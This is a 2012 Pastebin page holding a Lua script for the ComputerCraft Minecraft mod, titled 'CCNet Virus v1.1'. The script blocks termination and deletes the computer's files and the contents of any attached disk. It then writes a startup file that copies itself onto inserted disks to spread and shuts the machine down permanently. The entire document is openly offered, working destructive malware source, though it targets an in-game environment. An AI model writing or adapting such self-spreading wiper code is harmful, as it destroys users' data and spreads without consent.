KinoftheFlames

Untitled

Sep 16th, 2012
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.01 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. print("Welcome to CCNet Virus v1.1!")
  3.  
  4. if #fs.list("/") > 0 then
  5.     for i,file in ipairs(fs.list("/")) do
  6.         if file ~= "disk" and file ~= "rom" and file ~= shell.getRunningProgram() then
  7.             fs.delete(file)
  8.             print("Deleting "..file.."...")
  9.         end
  10.     end
  11.    
  12.     fs.copy(shell.getRunningProgram(), "CCNetV")
  13.    
  14.     if fs.exists("disk") then
  15.         for j,diskfile in ipairs(fs.list("/disk/")) do
  16.             fs.delete("disk/"..diskfile)
  17.             print("Deleting disk/"..diskfile.."...")
  18.         end
  19.     end
  20.    
  21.     startup = fs.open("startup", "w")
  22.     startup.writeLine('if fs.exists("disk") and fs.exists("CCNetV") then')
  23.     startup.writeLine(' fs.delete("disk/startup")')
  24.     startup.writeLine(' fs.copy("CCNetV", "disk/startup")')
  25.     startup.writeLine('end')
  26.     startup.writeLine('os.shutdown()')
  27.     startup.close()
  28.    
  29.     nodisk = fs.open(".nodisk", "w")
  30.     nodisk.write("")
  31.     nodisk.close()
  32.    
  33.     print("Thank you for your patronage!")
  34.     print("This monitor will never display again in 10 seconds.")
  35.     os.sleep(10)
  36.     os.shutdown()
  37. end
Advertisement
Add Comment
Please, Sign In to add comment